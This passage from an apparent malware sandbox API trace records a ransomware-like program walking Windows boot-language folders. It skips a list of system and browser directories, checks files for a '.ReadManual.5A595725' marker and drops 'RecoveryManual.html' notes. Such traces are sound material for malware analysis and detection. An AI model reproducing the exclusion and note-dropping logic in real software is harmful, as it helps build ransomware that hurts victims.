cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0175.885] lstrcpyW (in: lpString1=0x6ab8c0, lpString2="bootmgr.exe.mui" | out: lpString1="bootmgr.exe.mui") returned="bootmgr.exe.mui" [0175.885] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="RecoveryManual.html") returned -1 [0175.885] StrStrIW (lpFirst="bootmgr.exe.mui", lpSrch=".ReadManual.5A595725") returned 0x0 [0175.885] StrCmpIW (psz1="mui", psz2="exe") returned 1 [0175.885] StrCmpIW (psz1="mui", psz2="dll") returned 1 [0175.885] StrCmpIW (psz1="mui", psz2="sys") returned -1 [0175.885] StrCmpIW (psz1="mui", psz2="msi") returned 1 [0175.885] StrCmpIW (psz1="mui", psz2="mui") returned 0 [0175.886] lstrcpyW (in: lpString1=0x68b874, lpString2="\\\\?\\c:\\Boot\\it-IT\\" | out: lpString1="\\\\?\\c:\\Boot\\it-IT\\") returned="\\\\?\\c:\\Boot\\it-IT\\" [0175.886] lstrcatW (in: lpString1="\\\\?\\c:\\Boot\\it-IT\\", lpString2="RecoveryManual.html" | out: lpString1="\\\\?\\c:\\Boot\\it-IT\\RecoveryManual.html") returned="\\\\?\\c:\\Boot\\it-IT\\RecoveryManual.html" [0175.886] CreateFileW (lpFileName="\\\\?\\c:\\Boot\\it-IT\\RecoveryManual.html" (normalized: "c:\\boot\\it-it\\recoverymanual.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0175.886] WriteFile (in: hFile=0x15c, lpBuffer=0x2e8138*, nNumberOfBytesToWrite=0xae9, lpNumberOfBytesWritten=0x434fe80, lpOverlapped=0x0 | out: lpBuffer=0x2e8138*, lpNumberOfBytesWritten=0x434fe80*=0xae9, lpOverlapped=0x0) returned 1 [0175.887] CloseHandle (hObject=0x15c) returned 1 [0175.887] FindNextFileW (in: hFindFile=0x66b108, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0175.887] FindClose (in: hFindFile=0x66b108 | out: hFindFile=0x66b108) returned 1 [0175.887] FindNextFileW (in: hFindFile=0x688c28, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0175.887] lstrcpyW (in: lpString1=0x69b8b4, lpString2="ja-JP" | out: lpString1="ja-JP") returned="ja-JP" [0175.887] lstrcatW (in: lpString1="ja-JP", lpString2="\\" | out: lpString1="ja-JP\\") returned="ja-JP\\" [0175.887] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\ja-JP\\", lpSrch=":\\Windows\\") returned 0x0 [0175.887] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\ja-JP\\", lpSrch=":\\System Volume Information\\") returned 0x0 [0175.887] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\ja-JP\\", lpSrch=":\\$RECYCLE.BIN\\") returned 0x0 [0175.888] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\ja-JP\\", lpSrch=":\\SYSTEM.SAV") returned 0x0 [0175.888] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\ja-JP\\", lpSrch=":\\WINNT") returned 0x0 [0175.888] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\ja-JP\\", lpSrch=":\\$WINDOWS.~BT\\") returned 0x0 [0175.888] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\ja-JP\\", lpSrch=":\\Windows.old\\") returned 0x0 [0175.888] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\ja-JP\\", lpSrch=":\\PerfLog\\") returned 0x0 [0175.888] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\ja-JP\\", lpSrch="\\WindowsApps\\") returned 0x0 [0175.888] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\ja-JP\\", lpSrch="\\Microsoft\\Windows\\") returned 0x0 [0175.888] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\ja-JP\\", lpSrch="\\Roaming\\Microsoft\\") returned 0x0 [0175.888] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\ja-JP\\", lpSrch="\\Local\\Microsoft\\") returned 0x0 [0175.888] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\ja-JP\\", lpSrch="\\LocalLow\\Microsoft\\") returned 0x0 [0175.888] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\ja-JP\\", lpSrch=":\\ProgramData\\Microsoft\\") returned 0x0 [0175.888] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\ja-JP\\", lpSrch="\\Local\\Packages\\") returned 0x0 [0175.888] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\ja-JP\\", lpSrch=":\\ProgramData\\Packages\\") returned 0x0 [0175.888] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\ja-JP\\", lpSrch="\\Windows Defender\\") returned 0x0 [0175.888] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\ja-JP\\", lpSrch="\\microsoft shared\\") returned 0x0 [0175.888] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\ja-JP\\", lpSrch="\\Google\\Chrome\\") returned 0x0 [0175.888] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\ja-JP\\", lpSrch="\\Mozilla Firefox\\") returned 0x0 [0175.888] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\ja-JP\\", lpSrch="\\Mozilla\\Firefox\\") returned 0x0 [0175.888] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\ja-JP\\", lpSrch="\\Internet Explorer\\") returned 0x0 [0175.888] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\ja-JP\\", lpSrch="\\MicrosoftEdge\\") returned 0x0 [0175.888] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\ja-JP\\", lpSrch="\\Tor Browser\\") returned 0x0 [0175.888] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\ja-JP\\", lpSrch="\\AppData\\Local\\Temp\\") returned 0x0 [0175.888] lstrlenW (lpString="\\\\?\\c:\\Boot\\ja-JP\\") returned 18 [0175.888] FindFirstFileW (in: lpFileName="\\\\?\\c:\\Boot\\ja-JP\\*", lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x66b108 [0175.889] lstrcpyW (in: lpString1=0x6ab89c, lpString2="\\\\?\\c:\\Boot\\ja-JP\\" | out: lpString1="\\\\?\\c:\\Boot\\ja-JP\\") returned="\\\\?\\c:\\Boot\\ja-JP\\" [0175.889] FindNextFileW (in: hFindFile=0x66b108, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0175.889] FindNextFileW (in: hFindFile=0x66b108, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0175.889] lstrcpyW (in: lpString1=0x6ab8c0, lpString2="bootmgr.exe.mui" | out: lpString1="bootmgr.exe.mui") returned="bootmgr.exe.mui" [0175.889] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="RecoveryManual.html") returned -1 [0175.889] StrStrIW (lpFirst="bootmgr.exe.mui", lpSrch=".ReadManual.5A595725") returned 0x0 [0175.889] StrCmpIW (psz1="mui", psz2="exe") returned 1 [0175.889] StrCmpIW (psz1="mui", psz2="dll") returned 1 [0175.889] StrCmpIW (psz1="mui", psz2="sys") returned -1 [0175.889] StrCmpIW (psz1="mui", psz2="msi") returned 1 [0175.889] StrCmpIW (psz1="mui", psz2="mui") returned 0 [0175.889] lstrcpyW (in: lpString1=0x68b874, lpString2="\\\\?\\c:\\Boot\\ja-JP\\" | out: lpString1="\\\\?\\c:\\Boot\\ja-JP\\") returned="\\\\?\\c:\\Boot\\ja-JP\\" [0175.889] lstrcatW (in: lpString1="\\\\?\\c:\\Boot\\ja-JP\\", lpString2="RecoveryManual.html" | out: lpString1="\\\\?\\c:\\Boot\\ja-JP\\RecoveryManual.html") returned="\\\\?\\c:\\Boot\\ja-JP\\RecoveryManual.html" [0175.889] CreateFileW (lpFileName="\\\\?\\c:\\Boot\\ja-JP\\RecoveryManual.html" (normalized: "c:\\boot\\ja-jp\\recoverymanual.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0175.889] WriteFile (in: hFile=0x15c, lpBuffer=0x2e8138*, nNumberOfBytesToWrite=0xae9, lpNumberOfBytesWritten=0x434fe80, lpOverlapped=0x0 | out: lpBuffer=0x2e8138*, lpNumberOfBytesWritten=0x434fe80*=0xae9, lpOverlapped=0x0) returned 1 [0175.890] CloseHandle (hObject=0x15c) returned 1 [0175.890] FindNextFileW (in: hFindFile=0x66b108, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0175.890] FindClose (in: hFindFile=0x66b108 | out: hFindFile=0x66b108) returned 1 [0175.890] FindNextFileW (in: hFindFile=0x688c28, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0175.890] lstrcpyW (in: lpString1=0x69b8b4, lpString2="ko-KR" | out: lpString1="ko-KR") returned="ko-KR" [0175.890] lstrcatW (in: lpString1="ko-KR", lpString2="\\" | out: lpString1="ko-KR\\") returned="ko-KR\\" [0175.890] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\ko-KR\\", lpSrch=":\\Windows\\") returned 0x0 [0175.891] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\ko-KR\\", lpSrch=":\\System Volume Information\\") returned 0x0 [0175.891] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\ko-KR\\", lpSrch=":\\$RECYCLE.BIN\\") returned 0x0 [0175.891] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\ko-KR\\", lpSrch=":\\SYSTEM.SAV") returned 0x0 [0175.891] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\ko-KR\\", lpSrch=":\\WINNT") returned 0x0 [0175.891] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\ko-KR\\", lpSrch=":\\$WINDOWS.~BT\\") returned 0x0 [0175.891] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\ko-KR\\", lpSrch=":\\Windows.old\\") returned 0x0 [0175.891] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\ko-KR\\", lpSrch=":\\PerfLog\\") returned 0x0 [0175.891] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\ko-KR\\", lpSrch="\\WindowsApps\\") returned 0x0 [0175.891] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\ko-KR\\", lpSrch="\\Microsoft\\Windows\\") returned 0x0 [0175.891] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\ko-KR\\", lpSrch="\\Roaming\\Microsoft\\") returned 0x0 [0175.891] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\ko-KR\\", lpSrch="\\Local\\Microsoft\\") returned 0x0 [0175.891] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\ko-KR\\", lpSrch="\\LocalLow\\Microsoft\\") returned 0x0 [0175.891] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\ko-KR\\", lpSrch=":\\ProgramData\\Microsoft\\") returned 0x0 [0175.891] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\ko-KR\\", lpSrch="\\Local\\Packages\\") returned 0x0 [0175.891] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\ko-KR\\", lpSrch=":\\ProgramData\\Packages\\") returned 0x0 [0175.891] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\ko-KR\\", lpSrch="\\Windows Defender\\") returned 0x0 [0175.891] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\ko-KR\\", lpSrch="\\microsoft shared\\") returned 0x0 [0175.891] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\ko-KR\\", lpSrch="\\Google\\Chrome\\") returned 0x0 [0175.891] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\ko-KR\\", lpSrch="\\Mozilla Firefox\\") returned 0x0 [0175.891] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\ko-KR\\", lpSrch="\\Mozilla\\Firefox\\") returned 0x0 [0175.891] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\ko-KR\\", lpSrch="\\Internet Explorer\\") returned 0x0 [0175.891] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\ko-KR\\", lpSrch="\\MicrosoftEdge\\") returned 0x0 [0175.891] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\ko-KR\\", lpSrch="\\Tor Browser\\") returned 0x0 [0175.891] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\ko-KR\\", lpSrch="\\AppData\\Local\\Temp\\") returned 0x0 [0175.891] lstrlenW (lpString="\\\\?\\c:\\Boot\\ko-KR\\") returned 18 [0175.891] FindFirstFileW (in: lpFileName="\\\\?\\c:\\Boot\\ko-KR\\*", lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x66b108 [0175.892] lstrcpyW (in: lpString1=0x6ab89c, lpString2="\\\\?\\c:\\Boot\\ko-KR\\" | out: lpString1="\\\\?\\c:\\Boot\\ko-KR\\") returned="\\\\?\\c:\\Boot\\ko-KR\\" [0175.892] FindNextFileW (in: hFindFile=0x66b108, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0175.892] FindNextFileW (in: hFindFile=0x66b108, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0175.892] lstrcpyW (in: lpString1=0x6ab8c0, lpString2="bootmgr.exe.mui" | out: lpString1="bootmgr.exe.mui") returned="bootmgr.exe.mui" [0175.892] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="RecoveryManual.html") returned -1 [0175.892] StrStrIW (lpFirst="bootmgr.exe.mui", lpSrch=".ReadManual.5A595725") returned 0x0 [0175.892] StrCmpIW (psz1="mui", psz2="exe") returned 1 [0175.892] StrCmpIW (psz1="mui", psz2="dll") returned 1 [0175.892] StrCmpIW (psz1="mui", psz2="sys") returned -1 [0175.892] StrCmpIW (psz1="mui", psz2="msi") returned 1 [0175.892] StrCmpIW (psz1="mui", psz2="mui") returned 0 [0175.892] lstrcpyW (in: lpString1=0x68b874, lpString2="\\\\?\\c:\\Boot\\ko-KR\\" | out: lpString1="\\\\?\\c:\\Boot\\ko-KR\\") returned="\\\\?\\c:\\Boot\\ko-KR\\" [0175.892] lstrcatW (in: lpString1="\\\\?\\c:\\Boot\\ko-KR\\", lpString2="RecoveryManual.html" | out: lpString1="\\\\?\\c:\\Boot\\ko-KR\\RecoveryManual.html") returned="\\\\?\\c:\\Boot\\ko-KR\\RecoveryManual.html" [0175.893] CreateFileW (lpFileName="\\\\?\\c:\\Boot\\ko-KR\\RecoveryManual.html" (normalized: "c:\\boot\\ko-kr\\recoverymanual.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0175.893] WriteFile (in: hFile=0x15c, lpBuffer=0x2e8138*, nNumberOfBytesToWrite=0xae9, lpNumberOfBytesWritten=0x434fe80, lpOverlapped=0x0 | out: lpBuffer=0x2e8138*, lpNumberOfBytesWritten=0x434fe80*=0xae9, lpOverlapped=0x0) returned 1 [0175.894] CloseHandle (hObject=0x15c) returned 1 [0175.894] FindNextFileW (in: hFindFile=0x66b108, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0175.894] FindClose (in: hFindFile=0x66b108 | out: hFindFile=0x66b108) returned 1 [0175.894] FindNextFileW (in: hFindFile=0x688c28, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x8bc7dbfe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x76980, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe", cAlternateFileName="")) returned 1 [0175.894] lstrcpyW (in: lpString1=0x6ab8b4, lpString2="memtest.exe" | out: lpString1="memtest.exe") returned="memtest.exe" [0175.894] lstrcmpiW (lpString1="memtest.exe", lpString2="RecoveryManual.html") returned -1 [0175.894] StrStrIW (lpFirst="memtest.exe", lpSrch=".ReadManual.5A595725") returned 0x0 [0175.894] StrCmpIW (psz1="exe", psz2="exe") returned 0 [0175.894] lstrcpyW (in: lpString1=0x68b874, lpString2="\\\\?\\c:\\Boot\\" | out: lpString1="\\\\?\\c:\\Boot\\") returned="\\\\?\\c:\\Boot\\" [0175.894] lstrcatW (in: lpString1="\\\\?\\c:\\Boot\\", lpString2="RecoveryManual.html" | out: lpString1="\\\\?\\c:\\Boot\\RecoveryManual.html") returned="\\\\?\\c:\\Boot\\RecoveryManual.html" [0175.894] CreateFileW (lpFileName="\\\\?\\c:\\Boot\\RecoveryManual.html" (normalized: "c:\\boot\\recoverymanual.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x158 [0175.895] WriteFile (in: hFile=0x158, lpBuffer=0x2e8138*, nNumberOfBytesToWrite=0xae9, lpNumberOfBytesWritten=0x434fec8, lpOverlapped=0x0 | out: lpBuffer=0x2e8138*, lpNumberOfBytesWritten=0x434fec8*=0xae9, lpOverlapped=0x0) returned 1 [0175.896] CloseHandle (hObject=0x158) returned 1 [0175.896] FindNextFileW (in: hFindFile=0x688c28, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-NO", cAlternateFileName="")) returned 1 [0175.896] lstrcpyW (in: lpString1=0x69b8b4, lpString2="nb-NO" | out: lpString1="nb-NO") returned="nb-NO" [0175.896] lstrcatW (in: lpString1="nb-NO", lpString2="\\" | out: lpString1="nb-NO\\") returned="nb-NO\\" [0175.896] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\nb-NO\\", lpSrch=":\\Windows\\") returned 0x0 [0175.896] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\nb-NO\\", lpSrch=":\\System Volume Information\\") returned 0x0 [0175.896] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\nb-NO\\", lpSrch=":\\$RECYCLE.BIN\\") returned 0x0 [0175.896] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\nb-NO\\", lpSrch=":\\SYSTEM.SAV") returned 0x0 [0175.896] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\nb-NO\\", lpSrch=":\\WINNT") returned 0x0 [0175.896] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\nb-NO\\", lpSrch=":\\$WINDOWS.~BT\\") returned 0x0 [0175.896] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\nb-NO\\", lpSrch=":\\Windows.old\\") returned 0x0 [0175.896] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\nb-NO\\", lpSrch=":\\PerfLog\\") returned 0x0 [0175.896] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\nb-NO\\", lpSrch="\\WindowsApps\\") returned 0x0 [0175.896] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\nb-NO\\", lpSrch="\\Microsoft\\Windows\\") returned 0x0 [0175.896] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\nb-NO\\", lpSrch="\\Roaming\\Microsoft\\") returned 0x0 [0175.896] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\nb-NO\\", lpSrch="\\Local\\Microsoft\\") returned 0x0 [0175.896] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\nb-NO\\", lpSrch="\\LocalLow\\Microsoft\\") returned 0x0 [0175.896] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\nb-NO\\", lpSrch=":\\ProgramData\\Microsoft\\") returned 0x0 [0175.897] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\nb-NO\\", lpSrch="\\Local\\Packages\\") returned 0x0 [0175.897] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\nb-NO\\", lpSrch=":\\ProgramData\\Packages\\") returned 0x0 [0175.897] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\nb-NO\\", lpSrch="\\Windows Defender\\") returned 0x0 [0175.897] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\nb-NO\\", lpSrch="\\microsoft shared\\") returned 0x0 [0175.897] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\nb-NO\\", lpSrch="\\Google\\Chrome\\") returned 0x0 [0175.897] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\nb-NO\\", lpSrch="\\Mozilla Firefox\\") returned 0x0 [0175.897] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\nb-NO\\", lpSrch="\\Mozilla\\Firefox\\") returned 0x0 [0175.897] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\nb-NO\\", lpSrch="\\Internet Explorer\\") returned 0x0 [0175.897] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\nb-NO\\", lpSrch="\\MicrosoftEdge\\") returned 0x0 [0175.897] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\nb-NO\\", lpSrch="\\Tor Browser\\") returned 0x0 [0175.897] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\nb-NO\\", lpSrch="\\AppData\\Local\\Temp\\") returned 0x0 [0175.897] lstrlenW (lpString="\\\\?\\c:\\Boot\\nb-NO\\") returned 18 [0175.897] FindFirstFileW (in: lpFileName="\\\\?\\c:\\Boot\\nb-NO\\*", lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x66b108 [0175.897] lstrcpyW (in: lpString1=0x6ab89c, lpString2="\\\\?\\c:\\Boot\\nb-NO\\" | out: lpString1="\\\\?\\c:\\Boot\\nb-NO\\") returned="\\\\?\\c:\\Boot\\nb-NO\\" [0175.897] FindNextFileW (in: hFindFile=0x66b108, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0175.897] FindNextFileW (in: hFindFile=0x66b108, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0175.897] lstrcpyW (in: lpString1=0x6ab8c0, lpString2="bootmgr.exe.mui" | out: 